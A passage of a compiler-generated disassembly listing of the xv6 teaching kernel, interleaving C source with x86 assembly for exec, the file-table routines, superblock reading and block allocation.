50 38 mov %edx,0x38(%eax) proc->tf->esp = sp; 801016b0: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801016b6: 8b 40 18 mov 0x18(%eax),%eax 801016b9: 8b 55 dc mov -0x24(%ebp),%edx 801016bc: 89 50 44 mov %edx,0x44(%eax) #if SCHEDFLAG == DML proc->priority=DEF_PRIORITY; 801016bf: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801016c5: c7 80 8c 00 00 00 02 movl $0x2,0x8c(%eax) 801016cc: 00 00 00 #endif switchuvm(proc); 801016cf: 65 a1 04 00 00 00 mov %gs:0x4,%eax 801016d5: 89 04 24 mov %eax,(%esp) 801016d8: e8 5d 74 00 00 call 80108b3a <switchuvm> freevm(oldpgdir); 801016dd: 8b 45 d0 mov -0x30(%ebp),%eax 801016e0: 89 04 24 mov %eax,(%esp) 801016e3: e8 c9 78 00 00 call 80108fb1 <freevm> return 0; 801016e8: b8 00 00 00 00 mov $0x0,%eax 801016ed: eb 4b jmp 8010173a <exec+0x41e> ilock(ip); pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) < sizeof(elf)) goto bad; 801016ef: 90 nop 801016f0: eb 1c jmp 8010170e <exec+0x3f2> if(elf.magic != ELF_MAGIC) goto bad; 801016f2: 90 nop 801016f3: eb 19 jmp 8010170e <exec+0x3f2> if((pgdir = setupkvm()) == 0) goto bad; 801016f5: 90 nop 801016f6: eb 16 jmp 8010170e <exec+0x3f2> // Load program into memory. sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) goto bad; 801016f8: 90 nop 801016f9: eb 13 jmp 8010170e <exec+0x3f2> if(ph.type != ELF_PROG_LOAD) continue; if(ph.memsz < ph.filesz) goto bad; 801016fb: 90 nop 801016fc: eb 10 jmp 8010170e <exec+0x3f2> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) goto bad; 801016fe: 90 nop 801016ff: eb 0d jmp 8010170e <exec+0x3f2> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) goto bad; 80101701: 90 nop 80101702: eb 0a jmp 8010170e <exec+0x3f2> // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) goto bad; 80101704: 90 nop 80101705: eb 07 jmp 8010170e <exec+0x3f2> sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { if(argc >= MAXARG) goto bad; 80101707: 90 nop 80101708: eb 04 jmp 8010170e <exec+0x3f2> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; 8010170a: 90 nop 8010170b: eb 01 jmp 8010170e <exec+0x3f2> ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; 8010170d: 90 nop switchuvm(proc); freevm(oldpgdir); return 0; bad: if(pgdir) 8010170e: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp) 80101712: 74 0b je 8010171f <exec+0x403> freevm(pgdir); 80101714: 8b 45 d4 mov -0x2c(%ebp),%eax 80101717: 89 04 24 mov %eax,(%esp) 8010171a: e8 92 78 00 00 call 80108fb1 <freevm> if(ip){ 8010171f: 83 7d d8 00 cmpl $0x0,-0x28(%ebp) 80101723: 74 10 je 80101735 <exec+0x419> iunlockput(ip); 80101725: 8b 45 d8 mov -0x28(%ebp),%eax 80101728: 89 04 24 mov %eax,(%esp) 8010172b: e8 5f 0c 00 00 call 8010238f <iunlockput> end_op(); 80101730: e8 6d 26 00 00 call 80103da2 <end_op> } return -1; 80101735: b8 ff ff ff ff mov $0xffffffff,%eax } 8010173a: c9 leave 8010173b: c3 ret 8010173c <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 8010173c: 55 push %ebp 8010173d: 89 e5 mov %esp,%ebp 8010173f: 83 ec 18 sub $0x18,%esp initlock(&ftable.lock, "ftable"); 80101742: c7 44 24 04 0d 93 10 movl $0x8010930d,0x4(%esp) 80101749: 80 8010174a: c7 04 24 60 20 11 80 movl $0x80112060,(%esp) 80101751: e8 34 44 00 00 call 80105b8a <initlock> } 80101756: c9 leave 80101757: c3 ret 80101758 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80101758: 55 push %ebp 80101759: 89 e5 mov %esp,%ebp 8010175b: 83 ec 28 sub $0x28,%esp struct file *f; acquire(&ftable.lock); 8010175e: c7 04 24 60 20 11 80 movl $0x80112060,(%esp) 80101765: e8 41 44 00 00 call 80105bab <acquire> for(f = ftable.file; f < ftable.file + NFILE; f++){ 8010176a: c7 45 f4 94 20 11 80 movl $0x80112094,-0xc(%ebp) 80101771: eb 29 jmp 8010179c <filealloc+0x44> if(f->ref == 0){ 80101773: 8b 45 f4 mov -0xc(%ebp),%eax 80101776: 8b 40 04 mov 0x4(%eax),%eax 80101779: 85 c0 test %eax,%eax 8010177b: 75 1b jne 80101798 <filealloc+0x40> f->ref = 1; 8010177d: 8b 45 f4 mov -0xc(%ebp),%eax 80101780: c7 40 04 01 00 00 00 movl $0x1,0x4(%eax) release(&ftable.lock); 80101787: c7 04 24 60 20 11 80 movl $0x80112060,(%esp) 8010178e: e8 7a 44 00 00 call 80105c0d <release> return f; 80101793: 8b 45 f4 mov -0xc(%ebp),%eax 80101796: eb 1e jmp 801017b6 <filealloc+0x5e> filealloc(void) { struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80101798: 83 45 f4 18 addl $0x18,-0xc(%ebp) 8010179c: 81 7d f4 f4 29 11 80 cmpl $0x801129f4,-0xc(%ebp) 801017a3: 72 ce jb 80101773 <filealloc+0x1b> f->ref = 1; release(&ftable.lock); return f; } } release(&ftable.lock); 801017a5: c7 04 24 60 20 11 80 movl $0x80112060,(%esp) 801017ac: e8 5c 44 00 00 call 80105c0d <release> return 0; 801017b1: b8 00 00 00 00 mov $0x0,%eax } 801017b6: c9 leave 801017b7: c3 ret 801017b8 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 801017b8: 55 push %ebp 801017b9: 89 e5 mov %esp,%ebp 801017bb: 83 ec 18 sub $0x18,%esp acquire(&ftable.lock); 801017be: c7 04 24 60 20 11 80 movl $0x80112060,(%esp) 801017c5: e8 e1 43 00 00 call 80105bab <acquire> if(f->ref < 1) 801017ca: 8b 45 08 mov 0x8(%ebp),%eax 801017cd: 8b 40 04 mov 0x4(%eax),%eax 801017d0: 85 c0 test %eax,%eax 801017d2: 7f 0c jg 801017e0 <filedup+0x28> panic("filedup"); 801017d4: c7 04 24 14 93 10 80 movl $0x80109314,(%esp) 801017db: e8 5d ed ff ff call 8010053d <panic> f->ref++; 801017e0: 8b 45 08 mov 0x8(%ebp),%eax 801017e3: 8b 40 04 mov 0x4(%eax),%eax 801017e6: 8d 50 01 lea 0x1(%eax),%edx 801017e9: 8b 45 08 mov 0x8(%ebp),%eax 801017ec: 89 50 04 mov %edx,0x4(%eax) release(&ftable.lock); 801017ef: c7 04 24 60 20 11 80 movl $0x80112060,(%esp) 801017f6: e8 12 44 00 00 call 80105c0d <release> return f; 801017fb: 8b 45 08 mov 0x8(%ebp),%eax } 801017fe: c9 leave 801017ff: c3 ret 80101800 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80101800: 55 push %ebp 80101801: 89 e5 mov %esp,%ebp 80101803: 83 ec 38 sub $0x38,%esp struct file ff; acquire(&ftable.lock); 80101806: c7 04 24 60 20 11 80 movl $0x80112060,(%esp) 8010180d: e8 99 43 00 00 call 80105bab <acquire> if(f->ref < 1) 80101812: 8b 45 08 mov 0x8(%ebp),%eax 80101815: 8b 40 04 mov 0x4(%eax),%eax 80101818: 85 c0 test %eax,%eax 8010181a: 7f 0c jg 80101828 <fileclose+0x28> panic("fileclose"); 8010181c: c7 04 24 1c 93 10 80 movl $0x8010931c,(%esp) 80101823: e8 15 ed ff ff call 8010053d <panic> if(--f->ref > 0){ 80101828: 8b 45 08 mov 0x8(%ebp),%eax 8010182b: 8b 40 04 mov 0x4(%eax),%eax 8010182e: 8d 50 ff lea -0x1(%eax),%edx 80101831: 8b 45 08 mov 0x8(%ebp),%eax 80101834: 89 50 04 mov %edx,0x4(%eax) 80101837: 8b 45 08 mov 0x8(%ebp),%eax 8010183a: 8b 40 04 mov 0x4(%eax),%eax 8010183d: 85 c0 test %eax,%eax 8010183f: 7e 11 jle 80101852 <fileclose+0x52> release(&ftable.lock); 80101841: c7 04 24 60 20 11 80 movl $0x80112060,(%esp) 80101848: e8 c0 43 00 00 call 80105c0d <release> return; 8010184d: e9 82 00 00 00 jmp 801018d4 <fileclose+0xd4> } ff = *f; 80101852: 8b 45 08 mov 0x8(%ebp),%eax 80101855: 8b 10 mov (%eax),%edx 80101857: 89 55 e0 mov %edx,-0x20(%ebp) 8010185a: 8b 50 04 mov 0x4(%eax),%edx 8010185d: 89 55 e4 mov %edx,-0x1c(%ebp) 80101860: 8b 50 08 mov 0x8(%eax),%edx 80101863: 89 55 e8 mov %edx,-0x18(%ebp) 80101866: 8b 50 0c mov 0xc(%eax),%edx 80101869: 89 55 ec mov %edx,-0x14(%ebp) 8010186c: 8b 50 10 mov 0x10(%eax),%edx 8010186f: 89 55 f0 mov %edx,-0x10(%ebp) 80101872: 8b 40 14 mov 0x14(%eax),%eax 80101875: 89 45 f4 mov %eax,-0xc(%ebp) f->ref = 0; 80101878: 8b 45 08 mov 0x8(%ebp),%eax 8010187b: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) f->type = FD_NONE; 80101882: 8b 45 08 mov 0x8(%ebp),%eax 80101885: c7 00 00 00 00 00 movl $0x0,(%eax) release(&ftable.lock); 8010188b: c7 04 24 60 20 11 80 movl $0x80112060,(%esp) 80101892: e8 76 43 00 00 call 80105c0d <release> if(ff.type == FD_PIPE) 80101897: 8b 45 e0 mov -0x20(%ebp),%eax 8010189a: 83 f8 01 cmp $0x1,%eax 8010189d: 75 18 jne 801018b7 <fileclose+0xb7> pipeclose(ff.pipe, ff.writable); 8010189f: 0f b6 45 e9 movzbl -0x17(%ebp),%eax 801018a3: 0f be d0 movsbl %al,%edx 801018a6: 8b 45 ec mov -0x14(%ebp),%eax 801018a9: 89 54 24 04 mov %edx,0x4(%esp) 801018ad: 89 04 24 mov %eax,(%esp) 801018b0: e8 da 30 00 00 call 8010498f <pipeclose> 801018b5: eb 1d jmp 801018d4 <fileclose+0xd4> else if(ff.type == FD_INODE){ 801018b7: 8b 45 e0 mov -0x20(%ebp),%eax 801018ba: 83 f8 02 cmp $0x2,%eax 801018bd: 75 15 jne 801018d4 <fileclose+0xd4> begin_op(); 801018bf: e8 5d 24 00 00 call 80103d21 <begin_op> iput(ff.ip); 801018c4: 8b 45 f0 mov -0x10(%ebp),%eax 801018c7: 89 04 24 mov %eax,(%esp) 801018ca: e8 ef 09 00 00 call 801022be <iput> end_op(); 801018cf: e8 ce 24 00 00 call 80103da2 <end_op> } } 801018d4: c9 leave 801018d5: c3 ret 801018d6 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 801018d6: 55 push %ebp 801018d7: 89 e5 mov %esp,%ebp 801018d9: 83 ec 18 sub $0x18,%esp if(f->type == FD_INODE){ 801018dc: 8b 45 08 mov 0x8(%ebp),%eax 801018df: 8b 00 mov (%eax),%eax 801018e1: 83 f8 02 cmp $0x2,%eax 801018e4: 75 38 jne 8010191e <filestat+0x48> ilock(f->ip); 801018e6: 8b 45 08 mov 0x8(%ebp),%eax 801018e9: 8b 40 10 mov 0x10(%eax),%eax 801018ec: 89 04 24 mov %eax,(%esp) 801018ef: e8 11 08 00 00 call 80102105 <ilock> stati(f->ip, st); 801018f4: 8b 45 08 mov 0x8(%ebp),%eax 801018f7: 8b 40 10 mov 0x10(%eax),%eax 801018fa: 8b 55 0c mov 0xc(%ebp),%edx 801018fd: 89 54 24 04 mov %edx,0x4(%esp) 80101901: 89 04 24 mov %eax,(%esp) 80101904: e8 b3 0c 00 00 call 801025bc <stati> iunlock(f->ip); 80101909: 8b 45 08 mov 0x8(%ebp),%eax 8010190c: 8b 40 10 mov 0x10(%eax),%eax 8010190f: 89 04 24 mov %eax,(%esp) 80101912: e8 42 09 00 00 call 80102259 <iunlock> return 0; 80101917: b8 00 00 00 00 mov $0x0,%eax 8010191c: eb 05 jmp 80101923 <filestat+0x4d> } return -1; 8010191e: b8 ff ff ff ff mov $0xffffffff,%eax } 80101923: c9 leave 80101924: c3 ret 80101925 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80101925: 55 push %ebp 80101926: 89 e5 mov %esp,%ebp 80101928: 83 ec 28 sub $0x28,%esp int r; if(f->readable == 0) 8010192b: 8b 45 08 mov 0x8(%ebp),%eax 8010192e: 0f b6 40 08 movzbl 0x8(%eax),%eax 80101932: 84 c0 test %al,%al 80101934: 75 0a jne 80101940 <fileread+0x1b> return -1; 80101936: b8 ff ff ff ff mov $0xffffffff,%eax 8010193b: e9 9f 00 00 00 jmp 801019df <fileread+0xba> if(f->type == FD_PIPE) 80101940: 8b 45 08 mov 0x8(%ebp),%eax 80101943: 8b 00 mov (%eax),%eax 80101945: 83 f8 01 cmp $0x1,%eax 80101948: 75 1e jne 80101968 <fileread+0x43> return piperead(f->pipe, addr, n); 8010194a: 8b 45 08 mov 0x8(%ebp),%eax 8010194d: 8b 40 0c mov 0xc(%eax),%eax 80101950: 8b 55 10 mov 0x10(%ebp),%edx 80101953: 89 54 24 08 mov %edx,0x8(%esp) 80101957: 8b 55 0c mov 0xc(%ebp),%edx 8010195a: 89 54 24 04 mov %edx,0x4(%esp) 8010195e: 89 04 24 mov %eax,(%esp) 80101961: e8 ab 31 00 00 call 80104b11 <piperead> 80101966: eb 77 jmp 801019df <fileread+0xba> if(f->type == FD_INODE){ 80101968: 8b 45 08 mov 0x8(%ebp),%eax 8010196b: 8b 00 mov (%eax),%eax 8010196d: 83 f8 02 cmp $0x2,%eax 80101970: 75 61 jne 801019d3 <fileread+0xae> ilock(f->ip); 80101972: 8b 45 08 mov 0x8(%ebp),%eax 80101975: 8b 40 10 mov 0x10(%eax),%eax 80101978: 89 04 24 mov %eax,(%esp) 8010197b: e8 85 07 00 00 call 80102105 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80101980: 8b 4d 10 mov 0x10(%ebp),%ecx 80101983: 8b 45 08 mov 0x8(%ebp),%eax 80101986: 8b 50 14 mov 0x14(%eax),%edx 80101989: 8b 45 08 mov 0x8(%ebp),%eax 8010198c: 8b 40 10 mov 0x10(%eax),%eax 8010198f: 89 4c 24 0c mov %ecx,0xc(%esp) 80101993: 89 54 24 08 mov %edx,0x8(%esp) 80101997: 8b 55 0c mov 0xc(%ebp),%edx 8010199a: 89 54 24 04 mov %edx,0x4(%esp) 8010199e: 89 04 24 mov %eax,(%esp) 801019a1: e8 5b 0c 00 00 call 80102601 <readi> 801019a6: 89 45 f4 mov %eax,-0xc(%ebp) 801019a9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801019ad: 7e 11 jle 801019c0 <fileread+0x9b> f->off += r; 801019af: 8b 45 08 mov 0x8(%ebp),%eax 801019b2: 8b 50 14 mov 0x14(%eax),%edx 801019b5: 8b 45 f4 mov -0xc(%ebp),%eax 801019b8: 01 c2 add %eax,%edx 801019ba: 8b 45 08 mov 0x8(%ebp),%eax 801019bd: 89 50 14 mov %edx,0x14(%eax) iunlock(f->ip); 801019c0: 8b 45 08 mov 0x8(%ebp),%eax 801019c3: 8b 40 10 mov 0x10(%eax),%eax 801019c6: 89 04 24 mov %eax,(%esp) 801019c9: e8 8b 08 00 00 call 80102259 <iunlock> return r; 801019ce: 8b 45 f4 mov -0xc(%ebp),%eax 801019d1: eb 0c jmp 801019df <fileread+0xba> } panic("fileread"); 801019d3: c7 04 24 26 93 10 80 movl $0x80109326,(%esp) 801019da: e8 5e eb ff ff call 8010053d <panic> } 801019df: c9 leave 801019e0: c3 ret 801019e1 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 801019e1: 55 push %ebp 801019e2: 89 e5 mov %esp,%ebp 801019e4: 53 push %ebx 801019e5: 83 ec 24 sub $0x24,%esp int r; if(f->writable == 0) 801019e8: 8b 45 08 mov 0x8(%ebp),%eax 801019eb: 0f b6 40 09 movzbl 0x9(%eax),%eax 801019ef: 84 c0 test %al,%al 801019f1: 75 0a jne 801019fd <filewrite+0x1c> return -1; 801019f3: b8 ff ff ff ff mov $0xffffffff,%eax 801019f8: e9 23 01 00 00 jmp 80101b20 <filewrite+0x13f> if(f->type == FD_PIPE) 801019fd: 8b 45 08 mov 0x8(%ebp),%eax 80101a00: 8b 00 mov (%eax),%eax 80101a02: 83 f8 01 cmp $0x1,%eax 80101a05: 75 21 jne 80101a28 <filewrite+0x47> return pipewrite(f->pipe, addr, n); 80101a07: 8b 45 08 mov 0x8(%ebp),%eax 80101a0a: 8b 40 0c mov 0xc(%eax),%eax 80101a0d: 8b 55 10 mov 0x10(%ebp),%edx 80101a10: 89 54 24 08 mov %edx,0x8(%esp) 80101a14: 8b 55 0c mov 0xc(%ebp),%edx 80101a17: 89 54 24 04 mov %edx,0x4(%esp) 80101a1b: 89 04 24 mov %eax,(%esp) 80101a1e: e8 fe 2f 00 00 call 80104a21 <pipewrite> 80101a23: e9 f8 00 00 00 jmp 80101b20 <filewrite+0x13f> if(f->type == FD_INODE){ 80101a28: 8b 45 08 mov 0x8(%ebp),%eax 80101a2b: 8b 00 mov (%eax),%eax 80101a2d: 83 f8 02 cmp $0x2,%eax 80101a30: 0f 85 de 00 00 00 jne 80101b14 <filewrite+0x133> // the maximum log transaction size, including // i-node, indirect block, allocation blocks, // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((LOGSIZE-1-1-2) / 2) * 512; 80101a36: c7 45 ec 00 1a 00 00 movl $0x1a00,-0x14(%ebp) int i = 0; 80101a3d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) while(i < n){ 80101a44: e9 a8 00 00 00 jmp 80101af1 <filewrite+0x110> int n1 = n - i; 80101a49: 8b 45 f4 mov -0xc(%ebp),%eax 80101a4c: 8b 55 10 mov 0x10(%ebp),%edx 80101a4f: 89 d1 mov %edx,%ecx 80101a51: 29 c1 sub %eax,%ecx 80101a53: 89 c8 mov %ecx,%eax 80101a55: 89 45 f0 mov %eax,-0x10(%ebp) if(n1 > max) 80101a58: 8b 45 f0 mov -0x10(%ebp),%eax 80101a5b: 3b 45 ec cmp -0x14(%ebp),%eax 80101a5e: 7e 06 jle 80101a66 <filewrite+0x85> n1 = max; 80101a60: 8b 45 ec mov -0x14(%ebp),%eax 80101a63: 89 45 f0 mov %eax,-0x10(%ebp) begin_op(); 80101a66: e8 b6 22 00 00 call 80103d21 <begin_op> ilock(f->ip); 80101a6b: 8b 45 08 mov 0x8(%ebp),%eax 80101a6e: 8b 40 10 mov 0x10(%eax),%eax 80101a71: 89 04 24 mov %eax,(%esp) 80101a74: e8 8c 06 00 00 call 80102105 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101a79: 8b 5d f0 mov -0x10(%ebp),%ebx 80101a7c: 8b 45 08 mov 0x8(%ebp),%eax 80101a7f: 8b 48 14 mov 0x14(%eax),%ecx 80101a82: 8b 45 f4 mov -0xc(%ebp),%eax 80101a85: 89 c2 mov %eax,%edx 80101a87: 03 55 0c add 0xc(%ebp),%edx 80101a8a: 8b 45 08 mov 0x8(%ebp),%eax 80101a8d: 8b 40 10 mov 0x10(%eax),%eax 80101a90: 89 5c 24 0c mov %ebx,0xc(%esp) 80101a94: 89 4c 24 08 mov %ecx,0x8(%esp) 80101a98: 89 54 24 04 mov %edx,0x4(%esp) 80101a9c: 89 04 24 mov %eax,(%esp) 80101a9f: e8 c8 0c 00 00 call 8010276c <writei> 80101aa4: 89 45 e8 mov %eax,-0x18(%ebp) 80101aa7: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 80101aab: 7e 11 jle 80101abe <filewrite+0xdd> f->off += r; 80101aad: 8b 45 08 mov 0x8(%ebp),%eax 80101ab0: 8b 50 14 mov 0x14(%eax),%edx 80101ab3: 8b 45 e8 mov -0x18(%ebp),%eax 80101ab6: 01 c2 add %eax,%edx 80101ab8: 8b 45 08 mov 0x8(%ebp),%eax 80101abb: 89 50 14 mov %edx,0x14(%eax) iunlock(f->ip); 80101abe: 8b 45 08 mov 0x8(%ebp),%eax 80101ac1: 8b 40 10 mov 0x10(%eax),%eax 80101ac4: 89 04 24 mov %eax,(%esp) 80101ac7: e8 8d 07 00 00 call 80102259 <iunlock> end_op(); 80101acc: e8 d1 22 00 00 call 80103da2 <end_op> if(r < 0) 80101ad1: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 80101ad5: 78 28 js 80101aff <filewrite+0x11e> break; if(r != n1) 80101ad7: 8b 45 e8 mov -0x18(%ebp),%eax 80101ada: 3b 45 f0 cmp -0x10(%ebp),%eax 80101add: 74 0c je 80101aeb <filewrite+0x10a> panic("short filewrite"); 80101adf: c7 04 24 2f 93 10 80 movl $0x8010932f,(%esp) 80101ae6: e8 52 ea ff ff call 8010053d <panic> i += r; 80101aeb: 8b 45 e8 mov -0x18(%ebp),%eax 80101aee: 01 45 f4 add %eax,-0xc(%ebp) // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((LOGSIZE-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80101af1: 8b 45 f4 mov -0xc(%ebp),%eax 80101af4: 3b 45 10 cmp 0x10(%ebp),%eax 80101af7: 0f 8c 4c ff ff ff jl 80101a49 <filewrite+0x68> 80101afd: eb 01 jmp 80101b00 <filewrite+0x11f> f->off += r; iunlock(f->ip); end_op(); if(r < 0) break; 80101aff: 90 nop if(r != n1) panic("short filewrite"); i += r; } return i == n ? n : -1; 80101b00: 8b 45 f4 mov -0xc(%ebp),%eax 80101b03: 3b 45 10 cmp 0x10(%ebp),%eax 80101b06: 75 05 jne 80101b0d <filewrite+0x12c> 80101b08: 8b 45 10 mov 0x10(%ebp),%eax 80101b0b: eb 05 jmp 80101b12 <filewrite+0x131> 80101b0d: b8 ff ff ff ff mov $0xffffffff,%eax 80101b12: eb 0c jmp 80101b20 <filewrite+0x13f> } panic("filewrite"); 80101b14: c7 04 24 3f 93 10 80 movl $0x8010933f,(%esp) 80101b1b: e8 1d ea ff ff call 8010053d <panic> } 80101b20: 83 c4 24 add $0x24,%esp 80101b23: 5b pop %ebx 80101b24: 5d pop %ebp 80101b25: c3 ret ... 80101b28 <readsb>: struct superblock sb; // there should be one per dev, but we run with one dev // Read the super block. void readsb(int dev, struct superblock *sb) { 80101b28: 55 push %ebp 80101b29: 89 e5 mov %esp,%ebp 80101b2b: 83 ec 28 sub $0x28,%esp struct buf *bp; bp = bread(dev, 1); 80101b2e: 8b 45 08 mov 0x8(%ebp),%eax 80101b31: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80101b38: 00 80101b39: 89 04 24 mov %eax,(%esp) 80101b3c: e8 65 e6 ff ff call 801001a6 <bread> 80101b41: 89 45 f4 mov %eax,-0xc(%ebp) memmove(sb, bp->data, sizeof(*sb)); 80101b44: 8b 45 f4 mov -0xc(%ebp),%eax 80101b47: 83 c0 18 add $0x18,%eax 80101b4a: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp) 80101b51: 00 80101b52: 89 44 24 04 mov %eax,0x4(%esp) 80101b56: 8b 45 0c mov 0xc(%ebp),%eax 80101b59: 89 04 24 mov %eax,(%esp) 80101b5c: e8 6c 43 00 00 call 80105ecd <memmove> brelse(bp); 80101b61: 8b 45 f4 mov -0xc(%ebp),%eax 80101b64: 89 04 24 mov %eax,(%esp) 80101b67: e8 ab e6 ff ff call 80100217 <brelse> } 80101b6c: c9 leave 80101b6d: c3 ret 80101b6e <bzero>: // Zero a block. static void bzero(int dev, int bno) { 80101b6e: 55 push %ebp 80101b6f: 89 e5 mov %esp,%ebp 80101b71: 83 ec 28 sub $0x28,%esp struct buf *bp; bp = bread(dev, bno); 80101b74: 8b 55 0c mov 0xc(%ebp),%edx 80101b77: 8b 45 08 mov 0x8(%ebp),%eax 80101b7a: 89 54 24 04 mov %edx,0x4(%esp) 80101b7e: 89 04 24 mov %eax,(%esp) 80101b81: e8 20 e6 ff ff call 801001a6 <bread> 80101b86: 89 45 f4 mov %eax,-0xc(%ebp) memset(bp->data, 0, BSIZE); 80101b89: 8b 45 f4 mov -0xc(%ebp),%eax 80101b8c: 83 c0 18 add $0x18,%eax 80101b8f: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80101b96: 00 80101b97: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80101b9e: 00 80101b9f: 89 04 24 mov %eax,(%esp) 80101ba2: e8 53 42 00 00 call 80105dfa <memset> log_write(bp); 80101ba7: 8b 45 f4 mov -0xc(%ebp),%eax 80101baa: 89 04 24 mov %eax,(%esp) 80101bad: e8 74 23 00 00 call 80103f26 <log_write> brelse(bp); 80101bb2: 8b 45 f4 mov -0xc(%ebp),%eax 80101bb5: 89 04 24 mov %eax,(%esp) 80101bb8: e8 5a e6 ff ff call 80100217 <brelse> } 80101bbd: c9 leave 80101bbe: c3 ret 80101bbf <balloc>: // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 80101bbf: 55 push %ebp 80101bc0: 89 e5 mov %esp,%ebp 80101bc2: 53 push %ebx 80101bc3: 83 ec 24 sub $0x24,%esp int b, bi, m; struct buf *bp; bp = 0; 80101bc6: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) for(b = 0; b < sb.size; b += BPB){ 80101bcd: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80101bd4: e9 11 01 00 00 jmp 80101cea <balloc+0x12b> bp = bread(dev, BBLOCK(b, sb)); 80101bd9: 8b 45 f4 mov -0xc(%ebp),%eax 80101bdc: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80101be2: 85 c0 test %eax,%eax 80101be4: 0f 48 c2 cmovs %edx,%eax 80101be7: c1 f8 0c sar $0xc,%eax 80101bea: 89 c2 mov %eax,%edx 80101bec: a1 78 2a 11 80 mov 0x80112a78,%eax 80101bf1: 01 d0 add %edx,%eax 80101bf3: 89 44 24 04 mov %eax,0x4(%esp) 80101bf7: 8b 45 08 mov 0x8(%ebp),%eax 80101bfa: 89 04 24 mov %eax,(%esp) 80101bfd: e8 a4 e5 ff ff call 801001a6 <bread> 80101c02: 89 45 ec mov %eax,-0x14(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101c05: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 80101c0c: e9 a7 00 00 00 jmp 80101cb8 <balloc+0xf9> m = 1 << (bi % 8); 80101c11: 8b 45 f0 mov -0x10(%ebp),%eax 80101c14: 89 c2 mov %eax,%edx 80101c16: c1 fa 1f sar $0x1f,%edx 80101c19: c1 ea 1d shr $0x1d,%edx 80101c1c: 01 d0 add %edx,%eax 80101c1e: 83 e0 07 and $0x7,%eax 80101c21: 29 d0 sub %edx,%eax 80101c23: ba 01 00 00 00 mov $0x1,%edx 80101c28: 89 d3 mov %edx,%ebx 80101c2a: 89 c1 mov %eax,%ecx 80101c2c: d3 e3 shl %cl,%ebx 80101c2e: 89 d8 mov %ebx,%eax 80101c30: 89 45 e8 mov %eax,-0x18(%ebp) if((bp->data[bi/8] & m) == 0){ // Is block free? 80101c33: 8b 45 f0 mov -0x10(%ebp),%eax 80101c36: 8d 50 07 lea 0x7(%eax),%edx 80101c39: 85 c0 test %eax,%eax 80101c3b: 0f 48 c2 cmovs %edx,%eax 80101c3e: c1 f8 03 sar $0x3,%eax 80101c41: 8b 55 ec mov -0x14(%ebp),%edx 80101c44: 0f b6 44 02 18 movzbl 0x18(%edx,%eax,1),%eax 80101c49: 0f b6 c0 movzbl %al,%eax 80101c4c: 23 45 e8 and -0x18(%ebp),%eax 80101c4f: 85 c0 test %eax,%eax 80101c51: 75 61 jne 80101cb4 <balloc+0xf5> bp->data[bi/8] |= m; // Mark block in use. 80101c53: 8b 45 f0 mov -0x10(%ebp),%eax 80101c56: 8d 50 07 lea 0x7(%eax),%edx 80101c59: 85 c0 test %eax,%eax 80101c5b: 0f 48 c2 cmovs %edx,%eax 80101c5e: c1 f8 03 sar $0x3,%eax 80101c61: 8b 55 ec mov -0x14(%ebp),%edx 80101c64: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx 80101c69: 89 d1 mov %edx,%ecx 80101c6b: 8b 55 e8 mov -0x18(%ebp),%edx 80101c6e: 09 ca or %ecx,%edx 80101c70: 89 d1 mov %edx,%ecx 80101c72: 8b 55 ec mov -0x14(%ebp),%edx 80101c75: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1) log_write(bp); 80101c79: 8b 45 ec mov -0x14(%ebp),%eax 80101c7c: 89 04 24 mov %eax,(%esp) 80101c7f: e8 a2 22 00 00 call 80103f26 <log_write> brelse(bp); 80101c84: 8b 45 ec mov -0x14(%ebp),%eax 80101c87: 89 04 24 mov %eax,(%esp) 80101c8a: e8 88 e5 ff ff call 80100217 <brelse> bzero(dev, b + bi); 80101c8f: 8b 45 f0 mov -0x10(%ebp),%eax 80101c92: 8b 55 f4 